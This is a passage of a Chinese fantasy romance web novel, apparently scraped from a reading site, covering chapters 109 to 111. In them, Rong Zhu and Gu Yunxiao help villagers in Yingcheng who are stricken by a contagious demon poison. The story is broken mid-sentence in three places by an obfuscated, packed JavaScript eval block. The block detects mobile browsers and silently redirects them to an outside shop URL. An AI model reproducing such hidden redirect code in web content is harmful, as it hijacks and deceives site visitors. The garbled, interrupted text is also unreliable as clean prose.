他没有先例可参考,在他们那个世界,师父是个十分危险的身份,徒弟极有可能为提升灵力而弑师,师父说白了不是受弟子孝敬的,而是弟子修炼之路的踏脚石,连真情都没有的世界更不可能有师徒情存在,若按照礼义廉耻来说,师徒确有尊卑之分,道德之束。 “阿琛。”应白终于出声了,他眉头微蹙,像是初出茅庐的学者,带着几分天真诚挚的语气问:“师徒有别吗?” 109. 拉近 容珠去书房找沈宫主却只有顾先生在此。 顾先生道:“刚刚云景宫的弟子大老远飞来说颖城百姓原本中了泥鳅精的毒,吃完云景宫制作的毒药本已康复,但半个时辰后竟出现了体乏咯血的症状,一日要咯七八回,根本下不来床,连带着那些没中毒的百姓也遭了殃,请沈宫主过去共同研制解毒配方。” 泥鳅精这事容珠还不知道,那云景宫弟子慌张来报的时候沈宫主和顾寄章都在书房,顾寄章多问了一下泥鳅精降伏了没,二人这才得知此事还跟应白和上官琛有关。 顾寄章把从云景宫弟子那里听到的来龙去脉告诉了容珠,没想到从降伏泥鳅精到百姓解毒不成反而咯血这一系列事发生才仅一天,可想而知这毒的厉害。 “想要解毒,首先得先分析毒性特征,才能对症下药。云景宫在制药方面颇有经验,按理讲他们的解药一定会药到毒除,可百姓的症状反而更严重了,甚至原先没有中毒的百姓都染了病,看来此毒不简单。” 顾寄章坐在案前慢悠悠地分析,容珠的心不自觉提了起来,本想细问中毒一事,但见顾先生气定神闲的模样,她心中了然,“沈宫主很厉害的,对吗顾先生?” 顾先生笔一顿,眼尾随着他嘴角的上扬而生了几条皱纹,他没抬头,这番模样乍一看不是在处理账本,倒像是在写情书,他咳了两声,“当然。” 容珠真诚发问,顾寄章私心回答。然而事实就是如此,跟妖魔有关的事别的门派处理不了的最终都要来找沈宫主,紫阳宫在朝荣国是个神圣之处,外患要靠紫阳宫,学艺修炼首选紫阳宫。 “爹!”顾云萧从外面呼呼跑过来,脚还没跨过门槛就张口问道:“我听弟子们说颖城的百姓中毒了?云景宫不是以制药闻名吗,怎么还会出这样的事?” 她没注意到容珠也在这儿,忽然意识到自己一副毛毛躁躁的样子,十分不雅。 昨日比剑的时候顾云萧倒没想这么多,因为她是做好了准备去见容珠,心内先给自己打了三分气,此时猛地撞见,脑子里首先想到的是自己的不足。 有时候连顾云萧自己都不知道为什么对容珠总有那么多在意,在意在她面前自己哪里逊色,在意她会怎么看自己,在意她和邱梧的姐妹情谊比自己和邱梧的姐妹情意还要深。 这些心思明知是幼稚,可笑,多此一举,可还是会像小虫一样爬咬,不断提醒自己,有一个后来者跟邱姐姐以及和紫阳宫的关系比自己跟他们的关系还要好。 她生了先入为主的想法,当看到沈宫主和邱梧也对容珠像对自己这般好时,她就非要跟容珠比个谁更好出来。 现在想想,顾云萧觉得自己跟个小孩儿似的,她嫉妒容珠,也喜欢,羡慕容珠,这跟她之前遇到过的人都不一样。 容珠看起来似花骨朵一样娇嫩,实则那双眼,那花骨朵下却是一面坚韧强硬的墙。去年刑台初见,容珠站在邱梧身边向赵皇帝说话时的模样就跟她这张脸极其不符,那是一种力量,是一朵可以抵挡风雪摧残的花骨朵,这样的反差,她在朝荣国的其他人身上从没见过。 顾寄章看她咋咋呼呼的样子本来想出言训斥,一想自己训斥也不管用,抬眼看她:“你要干什么?” 自己女儿什么心思当爹的一眼就看出来了。 “我想去颖城看看。”顾云萧说出了来意,“我听上官琛说那泥鳅精其实道行不高,就是狡猾了些,所以云景宫的弟子抓不住,一个道行不高的妖精又怎会有这么厉害的毒?那么多人咯血起不来,我想过去帮忙,看看是什么情况。” “你是想去看热闹吧?”顾寄章毫不留情揭开了顾云萧的另一个想法,顾云萧也不反驳,她上前两步走到桌案前,“随你怎么说,我就过来跟你说一声,我去了啊。” “颖城那么远,你不能御剑飞行要怎么去?”顾寄章冲着顾云萧快走到门口的背影问道。 顾云萧本来脱口而出要上官琛带她去,但嘴巴一张,主意从脑子一过,说出口的话变成了:“不如,容珠你带我过去吧?” 她这句话听起来像是随口一说,除了肉眼可见地一双眼睛闪着点光亮外,旁人断不知道顾云萧其实现在心里挺紧张的。 她想和容珠拉近一些关系,之前因着自己的行为和容珠隔了点距离,有一说一,除此之外,她还想八卦一下帅哥和美女的事儿。 容珠心想沈宫主在颖城,点点头道:“好啊。” 雨还跟春蚕吐丝似的下着,御剑飞行在半空中能看到大大小小的避雨屏障闪着独属于施术人的光芒。 “容珠。”顾云萧在后面问,“你觉得周大人怎么样?” 容珠不知她的意思,只如实道:“周大人温文尔雅,待人接物面面俱到,为陛下办事也是一丝不苟,是个君子,也是个好臣子。” “你说这么多却没评价他的样貌,你认为他长相如何?” 容珠嗅出了点不一样的气息,她心里有点猜测,稍稍转过头问顾云萧:“是不是我昨晚没回来让你们多想了?” 顾云萧微讶,嗯啊了半天才道:“我这个人比较八卦,平常没见你和周大人有什么来往,你昨日突然在他府上住了一晚,就让我有点好奇,你们的关系什么时候变这么好了?” “在朝荣国,这种行为有别的意思吗?”容珠忽然意识到自己还没跟应白说件事,也不知道他知不知道,万一他知道后有所误会怎么办?毕竟发生这件事也不是她的本意。 “亲朋好友相聚,互相借宿也是有的,如果是彼此有情的男女因为礼节在成亲之前不会有相互借宿的行为,你和周大人之前一起监工,算是有些交情,若是喝茶闲聊,在对方府上住一晚也很正常。” 话是这么说,顾云萧暗暗观察容珠的反应,奈何她在后面,充其量能看到容珠的一点侧脸,什么异常也看不出来,没想到容珠下一刻直截了当道:“我和周大人只是朋友,我不喜欢他。” 顾云萧轻轻“哦”了一下,转而一想:应白跟容珠相处得时间最久,要喜欢也喜欢应白,周望是后来认识的,长得再帅又能怎样? 虽然容珠只说了一句话,顾云萧却自己总结出了容珠喜欢的人是应白这一结论。 “云萧。”容珠的声音隔着风声从前面传了过来,“你身上好像有一股肉香味,闻起来香辣无比,是什么好吃的?” 顾云萧自己闻了闻胳膊,她吃麻辣鸭头的时候不小心把辣椒蹭衣服上了,身上这件是后来换的,按理说不该有鸭头味才对。 “我让上官琛给我从颖城带麻辣鸭头回来,你不吃辣,太可惜了,那鸭头真的很好吃!我给他也留了一个。” 容珠在前面一笑:“上官公子为人直爽又细心,他做你的师父定然会认真教你,不过你只给他留了一个,他不会生气吗?” 洗完澡回屋看到桌子上的油纸包中静静躺着一个鸭头的上官琛…… 顾云萧身子前倾,把头靠近容珠耳后轻笑一声:“会,但那又怎样呢?我叫他一声师父是感谢他愿意教我,只是个称呼而已,不比你跟应公子是正儿八经的师徒,我也不总喊他上官师父,他也从没有摆师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031818|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的架子。” “你和上官公子虽经常吵架,但都不是真的在生气,反而让人觉得你们关系很好,若成了师徒,岂不要少了这份亲密?”容珠静静等着顾云萧的回答。 “亲密”二字让顾云萧愣了半晌,耳边碎发胡乱抓挠脸颊的触感让她蓦地想起上官琛曾说她是风,她有独属于自己魅力。 她和上官琛从小就老在一起玩,她一直把他当朋友,而这一刻,她心跳得很快,忽然察觉出了点不一样的东西。 若成了师徒…… “师徒怎么了?”顾云萧不以为然,“师徒不是冰冷的他教我学的关系,你看他和邱姐姐不都是我爹的学生吗,他们的关系一直很亲密啊。” 其实容珠根本没从顾云萧身上闻到麻辣鸭头的味道,她和沈宫主回来见着应白那会儿便注意到顾云萧手里拿着一包装吃食的油纸,麻辣的肉香味当时就钻入了她的鼻间,她方才故意说闻到了顾云萧身上的肉香味,无非是想借这个话题引出她和上官琛的师徒关系。 顾云萧和上官琛的师徒关系跟容珠和应白的情况不一样。顾寄章和邱梧,上官琛的那种近乎亲人的亲密关系也不是容珠想说的亲密关系。 就在她不打算继续说下去的时候,顾云萧又凑了过来:“你和应公子不也挺亲密的嘛,你怎么会认为师徒之间只是毫无情感的教学关系?” 顾云萧不知自己理解错了意思,她还在奇怪应白对容珠的感情明眼人都看得出来,怎么容珠会觉得她和应白之间不亲密…… 莫非…… 她恍然大悟,应白定是因为师徒关系才没放得开对容珠的感情,怪不得容珠会认为和应白之间有距离,一定是应白觉得师徒有别! “我跟你说……”她还没说出口,就见容珠手指着下方两座山相连的地方道:“那里是不是颖城?” 顾云萧由于喜欢吃麻辣鸭头,曾经为了吃这口专门跑了几趟颖城,对这里的地势形貌很是熟悉,她正想回答便注意到颖城地界有处地方火光缭绕,黑烟滚滚腾空。 “那里怎么着……啊——!” 容珠压着剑头急速下降,呼啸风声混合着顾云萧的惊呼声在半空中留下了一长串经久不衰的尾音。 火势看似是从村镇里烧起来的,人头窜动的百姓在浓烟里慌慌张张逃命,此时天上的蚕丝雨似有休息的意思,容珠暗道该下雨的时候不下。 她四下观察,发现离村镇不远处有一处河流,若是利用剑气将河水横空漫过来或可快速救火。 这个想法刚在脑子里形成,便见一道水流如彩虹似的划过半空直冲火势蔓延地,紧接着第二道,第三道相继涌来,水火相触的瞬间,弥烟顿时席卷了整个村镇。 百姓拿袖子捂着口鼻像无头苍蝇似的乱跑,那疯狂吞噬的凶猛大火不一会儿便似当头一棒蔫了下去。偏巧几阵混杂着雨水的清风吹过,滚滚浓烟随风消散,现出半空中一个衣袂翻飞之人。 沈宫主脚踩长剑,通体散光,在阴暗混乱的午后平息了火灾,连月被雨水浸湿的房屋如今经大火一烧更惨不忍睹。 哭泣和被浓烟呛住的咳嗽声此起彼伏,不知是谁喊了一声“是沈宫主”时,地上的百姓纷纷仰头而视。 所有人都知道紫阳宫,都知道沈宫主,但不是所有人都见过。这三个字一出现就好像代表着希望和安全,百姓们仿佛猛地看见了神明一样,劫后余生的欣喜很快涌上了心头,一张张脏乱的脸上都闪烁着一双崇敬期待的目光。 他们知道,他们得救了,他们中毒的家人,有救了。 110. 棉县 “二位宫主,下官已查明起火原因。” 说话的是棉县县令。 “本村一个老太太的儿子从昨晚开始咯血,此子非原先中泥鳅精之毒之人,老太太到了今晨才知儿子身体有恙,民间有偏方,焚烧艾草可驱邪病,按理讲连月雨灾,房屋内外都很是潮湿不会轻易引起大火,可今日风大,老太太熏艾后去河边打水再回来便发现自家屋子开始着火,火势由此蔓延。” 棉县县令昨晚安顿完那些中毒之人便回府睡觉了,到五更天时被衙役叫醒,衙役带着一个大夫来报,说夜里陆陆续续来了许多咯血之人,本以为是身子得了什么病,但仔细一看,全都是原先中泥鳅精之毒的人,大夫说恐毒素未清,棉县县令便先将此事通知了云景宫,自己带着下属们去医馆看看情况。 没成想天亮时分,那些原本没有中毒,前来照顾中毒之人的家属也开始咯血,大夫一惊,说了句:“怎么此毒还会传染?” 棉县县令大惊,第一时间想到的是隔离。随后得知这些人来自附近不同的村镇,便去这些村子挨个探查,如果真是传染,那是不是代表着接触过中毒之人的人现在都开始咯血了? 探查完几个村子后,棉县县令心渐渐悬了起来,咯血的无外乎是中毒之人的家人,大到老人,小到孩子,虽然不多,但足以证明传染是真。 县令驱散了围观的街坊邻居,叫来马车将中毒之人送去医馆,等轮到这个村子时已过了午时,没成想远远就看见火势漫天,悬着的心直冲嗓子眼儿。 村子里的百姓慌忙从不远处的河流里打水,可这一来一回根本赶不上火势蔓延的速度。沈宫主和云景宫弟子刚进入颖城地界便发现此处火光缭绕,奈何大火烧了有一段时间,沈宫主虽救火迅速,但有许多户人家的屋舍已经烧成木头架子没法住人了,庆幸的是并没有百姓伤亡。 “屋舍损毁的百姓让他们去就近的客栈暂且住下安置,一应钱财及所需物品先从棉县府内的账上支出,县令大人做好记录,到时候上奏陛下汇报此事,现在最重要的是要查明还有哪些地方有咯血之人,必须要尽快与周遭人分离,万不能一传十,十传百。”沈宫主看着村子里的百姓正在灰烬堆里搜寻尚能挽回的东西,不禁一阵心酸。 棉县县令道:“如今尚有许多地方没有探查到,还不知有多少人躺在家中等着救命,下官这就命人在棉县四处张贴告示,让百姓们尽快将有症状之人送去医馆,日常照顾全由医馆之人负责,不准亲朋好友探望,但现在医馆里的两个学徒也中毒了,照此情形恐人手不够。” 云宫主目露忧急:“昨晚得知此事后我已经开始研制解药了,但最少也得五天时间,泥鳅精先前已祸害了半个月,当时就有人陆续中毒,第一批解药也是研制了十天才完成,可我没想到会发生这种情况。” 他诚恳道:“云景宫制药虽颇有名气但终不敌紫阳宫,此事危急,为了确保万无一失,云某特让弟子请沈宫主过来,还请沈宫主共同参与制药,早日让颖城百姓康复。” 其实云宫主多少有点怕了,原先便因云景宫迟迟解决不了泥鳅精却不求援而受三皇子的训斥,好在研制出了解药将功补过,没成想越解越严重,这一次,云宫主一点儿也不想耽搁冒险,天大地大,请沈宫主出面解决方为上策。 “云宫主不必如此谦逊,此毒在吃了你的解药后产生了新的症状,很大可能是源于此毒不寻常,既然面临新的问题,那我们就合力解决。不过……”沈宫主眉头微皱:“此毒光凭肢体接触便能传染,实在闻所未闻。” “医馆大夫建议让所有百姓都戴面罩,以防身染毒素。”棉县县令说,“下官想,在云宫主将解药研制出来前,让棉县的大夫看看能不能开一些止血的药物缓一缓,不然每隔半个时辰就要吐一次血,人身上能有多少血够吐啊。” 棉县县令如今年近六十,精神样貌像四十出头,昨晚没睡多久便起来奔波,此刻满脸着急加忧虑,沧桑老态之感从眉眼间呼之欲出,要不是身上一身县令袍表示着身份,真与一个寻常人家的老头无异。 “县令大人说得不错。”沈宫主点头,“不仅是棉县,泥鳅精所在的新县是作乱起始地,稍后我去颖城知府一趟,让他传令让颖城所有居民都戴好面罩,若医馆人手不够,云宫主,还请云景宫的弟子下山帮忙。” “我也要帮忙!”在一旁站了好久的顾云萧终于抓着机会照顾百姓了,“沈宫主,你知道的,我爹医术还不差,虽然我没怎么学过,但我好歹是他女儿,多少懂点什么,我是特意让容珠送我过来帮忙的。” 云宫主眼睛一亮,“这位莫非是就是点亮石碑的容女侠?” 容珠朝云宫主打了个招呼,云宫主眉开眼笑,能点亮石碑的人自然非同旁人,多一能人助力便多一份保障,云宫主心里又放心了两分。 沈宫主看了她俩一眼,点头道:“行,眼下这毒还不知道会有什么花样,你俩小心点儿,既然现在在棉县,你们便随县令大人去医馆看看情况吧。” 容珠不来不知道,来了后才意识到这件事多少有点严重,废墟堆里的百姓望着住了半辈子却顷刻之间烧成空架子的房屋两眼空空,还有不少中毒人士躺在地上欲哭无泪,紧接着一口鲜血呕了出来,红色的血迹在这片焦黑冒烟的村子里触目惊心,像一块块大石沉沉地压人心底。 家。他们没了家。 容珠内心一揪,有一种相似感在心里油然而生。 是眼看着家园被烧痛苦,还是被家人赶出来痛苦? 他们的家园被烧,但他们还有家人。 心上的石头压得更沉了,痛苦的事情各有其苦,她不能让这一切变得更痛苦。 商议完后,沈宫主去找颖城知府让他给各县下令安置中毒百姓,云宫主回了云景宫去拨弟子下山帮忙,棉县县令知道二人是从紫阳宫来的,非常欣慰尊敬,带着容珠和顾云萧先去了棉县最大的医馆——平安医馆。 平安医馆坐落在一个僻静的街角处,往前走两个街道就是市集。这会儿不下雨,原本人烟凋零的街道隐有热闹之势,人人在家憋得时间长了,但凡雨一停总要往外跑。 昨晚泥鳅精被降伏的消息人尽皆知,而泥鳅精之毒会传染一事因今日凌晨才发生,事情还未发酵起来,有些个知情人说给别人听,听者只是一惊,因自家没有中毒的人,所以心安理得的认为事情不会发生在自己身上。传染一事到目前为止只在棉县这座不大不小的县城里咕嘟了一下水泡,没有引起人们警醒…… 棉县县令看着熙攘人群脚步一顿,忽然背后冒了层冷汗,他转头对身后的手下催促道:“快回去让他们尽快张贴告示并广而告之,让百姓知道泥鳅精之毒会传染,无事尽量不要外出。” 手下应声离去,县令心内暗道一声疏忽,他应该在今日一早就下发公告的。 棉县县令将两位来自紫阳宫的人介绍给了医馆大夫,李大夫是个跟县令一般年纪的老头儿,他带着面罩,露着一双疲累的褶皱眼,看向容珠和顾云萧时勉强添了两分光亮。 他先给二人拿来面罩,引着他们去医馆里面看了一遭。平安医馆有三进,最前边是药铺,日常抓药,百姓买药都在这儿,第二进是大夫跟学徒们住的地方,第三进便是需要长时间医治的病人调养的地方。 这里有单间也有多人间,多人间门口挂了层帘子,李大夫说要隔绝病气,容珠和顾云萧既然要来帮忙就肯定会接触病人。 她们二人去里面看了一眼,一眼扫去,大概有三十多张床铺,如今住了有大半了,病床上的人有的在睡觉,有的在辗转反侧,有的咳嗽了几声忙撑起身垂下头朝地上放的壶里呕了口血出来。 “还有孩子……”容珠看到有张床上躺着一个约莫五六岁的小男孩,他吐血吐得面色惨白,如今在睡梦中还在皱着眉头。 李大夫叹了口气:“这孩子是原先就中毒的人,开始咯血后他母亲便将他送到了我这里看病,照顾了一晚上,今早我进来的时候看到她倒地上了……”李大夫指了指小男孩旁边床上躺着的妇女:“她被传染了……” “大夫,可否开些止血调养的药先缓着,不能总让他们这么吐啊。”县令忙了一上午,口干舌燥,此时说完后咳了几声。 大夫愁苦道:“我也是这么想的,这不我的伙计们倒下了两个,医馆里有许多事忙,我还未顾上,既然二位姑娘来此,不如就跟我一块去配药吧。” * 棉县的告示很快贴了出来,百姓们聚众围观,衙役站在前面高喊告示上的内容,再三提醒有咯血症状的人要及时去医馆,请所有百姓戴好面罩以防传染…… 人群顿时炸开了锅,头一次听说还有会传染的毒,那泥鳅精不过是修炼了几百年的小妖,竟有如此本事还留了一招,连云景宫研制的解药都没能解毒,不过话说回来…… “云景宫抓了十几天的泥鳅精好像昨日晚上叫一位公子给降伏了,到最后竟是请的别人,这云景宫怎么连个小妖也对付不了?” “小妖抓不住,研究的解药也不顶用,云宫主这是怎么了,听说三皇子来颖城好几天了,现在就在云景宫,怕不是去兴师问罪的吧?” “三皇子待人宽厚明理,跟陛下不一样的……”说话的人压低了声音跟旁边人窃窃私语。一时间百姓们叽里呱啦,七嘴八舌讨论起来,全然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三皇子应了一声,临走前还看了眼炼丹炉里的蓝色火光,出门的那一刻头一次意识到雨后的空气如此清新。 * “泥鳅精之毒还会传染?这未免有些匪夷所思吧?” 顾寄章抬眸瞅了眼上官琛,忽然意识到他怎么和顾云萧一样说起话来总要把屋顶掀翻。 他气定神闲道:“再匪夷所思也是如今真切发生的事,没见过没听过的事不代表在这个世界就不会发生。听说,昨日是你们降伏的泥鳅精?” 上官琛点头:“应白刺伤了它,我用锁妖罩控制住了,云宫主搜集泥鳅精身上的粘液时我还在旁边看来着,如果说真会传染,按理讲当时我们这些人现在也该咯血才对,为什么是吃了云景宫的解药后才出的这事?” “有时候解药里的成分和毒素里的某种东西融合会产生异变。”应白记得师父炼药时说过这句话,还说分辨成分相和相冲是炼药师的基本功。 “云景宫的解药虽解了百姓之毒,却带来了新的症状,既然云景宫是以制药闻名,在研制解药时一定充分了解泥鳅精之毒,研制过程中就要防止发生异变的可能,应当不会有这种疏忽。” 应白回想了一下昨日和云宫主交谈的情景,虽说这云宫主在泥鳅精一事上有些顾及云景宫的面子而让事态严重了些,但也并非毫不靠谱之人,况且他本就受了三皇子训斥,断无再敷衍研究解药造就错上加错的场面。 “哎呀,反正我娘已经去了,咱们就不必操心了。”上官琛朝应白使了个眼色让他跟自己出去。 “你这刚从棉县回来,容珠又跑过去了,早知如此,咱还慌慌张张飞回来干什么,还害得你掉海里横生事故,顾云萧也太没眼色了!你说这叫什么事嘛!” 上官琛似乎真被顾云萧想一出是一出的操作给服气到了,如今沈宫主不在紫阳宫,邱梧又常在宫里,上官琛作为紫阳宫仅剩的主人不能再离开都城,他瞅了应白一眼道:“你怎么看起来一点都不着急?” 应白驻足,无奈一笑:“容珠又不是一去不回,我也不是非要问她个究竟不可,每个人有每个人的自由和要做的事,再说,她和顾小姐此去帮忙说不定还能增进一下女孩子间的情谊,你方才如此说顾小姐,实在不礼貌,她听见了该多难过。” “你……我……”上官琛指着他背影嘟囔道:“你在澡堂里的时候可不是这样的,那会儿可怜巴巴,现在又心宽不在意了,容珠知不知道你有这么多面?” 他边吐槽边跟过去,冷不防看到前面那人突然停步。 应白站在原地出神了片刻,自言自语道:“不是她,我自己都不知道自己还会有这些模样,若是能与她相守,又不知还要出多少模样。” 111. 变故 平安医馆的李大夫给病房里的人又把了次脉,这些人咯血咯得脸色惨白但脉象却强劲有力,想着他们身上都沾着些泥鳅精粘液之毒,非食五谷杂粮所生的寻常病,或许脉象自然不同寻常吧。 李大夫心里有个大概猜测,抓药的时候,他斟酌了一下,想着那些人年纪不一,体质不同,先挑了些药性温和的药材,配好后让顾云萧拿去煎药。 “厨房的米汤已经熬好了,容女侠随我去盛些来给那些病人喂点吃食,他们连下床的力气都没有,很多事情都得我们照顾着些。”李大夫在前引路,步伐略快,脸上的面罩随着他带起的风朝后翻卷着飞。 平安医馆的造景很是简约干净,乍一看舒心开阔,可处处充斥着药材的苦涩味道,没看几眼又觉得古板严肃。这里位处深巷,远离街市嘈杂很适合静养。 米汤生津止渴,滋润清肺,更重要的是这些中毒之人只能喝些汤水,别的也吃不进去。他们双目无神,精神涣散,吃进米汤的时候也皱着眉头,仿佛喝下去的是苦药,容珠生怕他们吃着吃着便又要呕血,喂的时候格外小心。 “娘……” 一个极其虚弱的声音从容珠身后传了过来,叶子的落地声都比之过甚,容珠耳朵尖,回头瞧了瞧,见是那个五六岁的小男孩在歪着脖子去看旁边床上的妇女。 妇女半睁着双眼,嘴唇惨白,有种不久于人世的弥留感,她睫毛下闪过一丝微弱的眸光,似乎听见了儿子的呼唤,但她没有力气偏头,只能缓缓将眼珠转了过去。 容珠将眼前情景收入眼底,她喂完当前这个病人后便去了小男孩的床边,忽然意识到她从没跟小孩子打过交道,踌躇了一会儿,她先伸手抚上小男孩的肩膀,轻轻道:“你娘听见了。饿不饿?喝点米汤吧。” 小男孩慢慢将头转过去看向容珠,童真的眸光蒙着一层病气,失去了原有的清澈,小嘴巴微微一动却是什么声音都没发出来。 容珠将他扶起来靠在枕头上,拿过桌上的米汤,舀了一勺送到他嘴里。 方才喂别人的时候容珠倒没想到什么,此刻看着米汤进了小男孩嘴里,容珠忽地想起小时候娘亲给自己喂饭的画面。那是几岁的记忆她已经记不起来了,只记得当时自己咯咯笑说:“娘亲,我要吃糖。” “姐……姐。”虚弱无力的声音从小男孩喉间吐出,容珠看着他的眼睛,见他注视着米汤,沾了汤水的嘴巴湿润莹亮,仿佛去了一分病态。 “糖……”他捏了捏被子,抬眸看着容珠。 容珠一愣,乘着米汤的勺子停滞在半空。 “姐姐……没有糖。” 那边的李大夫听见了这边对话,板正道:“你身体不好,吃不得糖,要乖乖吃饭,知道吗?” 小男孩垂下睫毛。 米汤碗在手里徐徐传递着温热,容珠想了想,笑对他说:“吃不着糖不要紧,你想看变戏法吗?姐姐可以变给你。” 她把汤勺放进碗里,在掌心聚集了一点灵力,随着指尖微动,灵力像是被捏造成了某个形状,渐渐地,一只黄色的蝴蝶从她掌中飞出,扑闪着翅膀在小男孩面前飞翔。 蝴蝶的光芒映衬在小男孩逐渐睁大的瞳孔里,他手臂微动,带动着小手贴着被子,一点点朝那灵物挪去。 “你伸开手,蝴蝶自会朝你飞过去。” 小男孩听话照做,蝴蝶扇动着翅膀落在了小小手掌中。 “我把它送给你,你要好好吃饭。” 容珠看着小男孩点了点头,那黄色的蝴蝶便融于小男孩的手掌,他盯着自己的手看了好久,仿佛自己拥有了一块绝无仅有的糖。 半个时辰后,顾云萧把药煎好了,苦涩的味道随着走过的路线一路飘荡,熏了大半个医馆。那些中毒之人原本就痛苦的脸在喝了一碗药后更是面如麻绳,似乎下一刻,深褐色的药汁就会从皮肤褶皱里被挤出来。 顾云萧一边对他们说着“不苦不苦”,一边又说着“良药苦口利于病”,她煎药煎了大半天,浑身上下都被药味熏透了,虽没亲口吃药,但舌尖已是苦的。 顾寄章早年对她说若是不修炼便学医术,顾云萧不做选择,她两个都不干,修炼太累,药材太难闻,为什么要做又苦又累的事? 现在她依然没有改变想法,但来医馆帮忙又的确是心甘情愿。因她喜欢帮忙,更重要的是她只是来帮忙。不喜欢的事在帮助别人面前也可以变为不在意,她愿意短暂停留,但她仍然会离开去别的地方,做不同的事。 “好了,忙活了大半天,天也快黑了,且看他们夜里情形,希望我的药能有所好转。”李大夫声音疲惫,出了病房后他带着容珠和顾云萧来到二进院里,安排了两个房间让二人住下。 “李大夫,不知昨晚这些人都是被传染后多久开始咯血的?”顾云萧的姑姑和爹爹都懂医术,她耳濡目染,从前跟姑姑住的时候经常听她问病人“这样多久了?”“什么时候开始不舒服的?” 李大夫要去前院配病人晚上喝的药,闻言驻足回想,“似乎没有个固定时辰,我的两位徒弟是在接触中毒之人不久后便倒下了,而那个小男孩的母亲是过了几个时辰才开始咯血。” “每个被传染的人不一定什么时候会开始咯血?”容珠抬脚进屋,随着李大夫来到药材柜前。 李大夫拿称的手一顿,锁眉想了想,“确实如此。” “李大夫从昨晚到现在一直好好的,可见泥鳅精之毒在所有人身上都有不同的反应,但不知有没有个界限,譬如过多久没咯血就代表此人并没有被传染呢?” 李大夫看了容珠一眼,有所意识道:“这的确是个需要留心关注的问题,被传染和发作并不是同时发生,看来当中还有需观察的因素,但事发突然,我们现在只能走一步看一步。” 夜间喂药的时候,病房里依旧充斥着血腥气息,躺在床上的人白天是什么样现在还是什么样。李大夫叹了口气:“不见好啊……” “姐姐!” 寂静的房内,这声呼喊不算多么高声却十分有力量,容珠回头,见那个小男孩睁着一双清澈明亮的眼睛躺在枕头上看自己,她走过去蹲身问:“你还好吗?” 小男孩点点头:“我今天下午没有吐血,可是我娘还在吐。” “真的?”容珠听到了意外之言,她先去看小男孩床边的木壶,发现里面果然没有血,与此同时,李大夫几步走了过来亲眼瞧见小男孩的精气神已然不同昨日,不禁喜道:“有效果,有效果,或许这孩子中毒中得轻,吃了一次药就有好转,既然如此,今晚接着给其他人喂。” 容珠和顾云萧忙到三更天才各自回到医馆内的住处,入睡前,容珠忽然想起件事,她来到桌前,拿起毛笔蘸了蘸墨汁在纸上写了几行字: 师父,颖城百姓所中的泥鳅精之毒有变,我和顾小姐在棉县的平安医馆帮忙,医馆大夫配制的药方颇有止血效果,相信沈宫主和云宫主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036338|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会尽早研制出解药。 她将纸卷了起来,用灵力封住,走到窗口对它轻轻道:“去吧。” 灵力应声带着信纸飞向了窗外,融入了无星无月的阴沉夜空里,朝着东方奔去。 早上,应白睁眼的时候看到自己枕头边有卷纸,若隐若现的淡黄色灵力让他双眸一亮,他展开读过后自觉心中一暖,忙穿好衣服找到上官琛催促他帮自己回信。 * 昨日的惊喜似乎如过眼云烟,平安医馆里的病人在今日早上仍旧没有任何好转的迹象,反而是那个五六岁的小男孩已经能下床走动了。 “姐姐,为什么我娘亲还没好?” 容珠不是大夫不知道,而身为医者的李大夫也不知问题出在了哪儿。 小男孩活蹦乱跳的模样让人真心觉着他分明是彻底康复了的模样,可云景宫的解药还没制作出来,他也只是吃了一剂止血药而已。 思忖再三,李大夫仍旧继续给其他病人喂药,同时把现在的情况以及药方写在纸上让容珠去一趟云景宫交给云宫主和沈宫主看。 临走时,容珠收到了应白的回信: 一切小心。 * 容珠在云景宫弟子的带领下去炼丹堂见到了云宫主和沈宫主。 如今云景宫所在的新县也有不少人躺在了医馆,毕竟这里是泥鳅精生前的老窝,最开始的作乱之地,新县的医馆颇有些人满为患的预兆。 沈宫主先是了解了小男孩的情况,得知他并非被传染,而是原先就中毒之人,然而平安医馆中也有其他人境况一样,除此之外,吃的喝的都是一样的东西,若非要说不同点,好像只有年龄这一点…… 可一个小小孩童吃了药就能好转为什么身强体壮的大人却不行? 解药的研制需要时间,沈宫主和云宫主商量后认为此方如果吃了两天后还没效果便换方子治疗,好转的小男孩仍旧需要多加看顾。 五天后,平安医馆的病房新添了几个中毒之人,吃了新药方的病人情况依然如故,好消息是,解药研制出来了。 过了午时,云景宫的弟子带着新研制出来的解药飞去了颖城各处医馆,吐血多日的病人终于等来了挽救解药,李大夫心中欣慰,对着静静守在娘亲床边的小男孩道:“你娘就要康复了。” 吃完解药后两个时辰,躺在新县和棉县医馆里的中毒百姓全都没有好转,李大夫震惊茫然,任凭小男孩拉着他的袖角问:“大夫,为什么我娘亲还没好?” “怎么会?”沈宫主去了新县的一个医馆,看到中毒百姓没有丝毫好转的迹象,仿佛吃进去的解药只是一颗无甚作用的药丸。 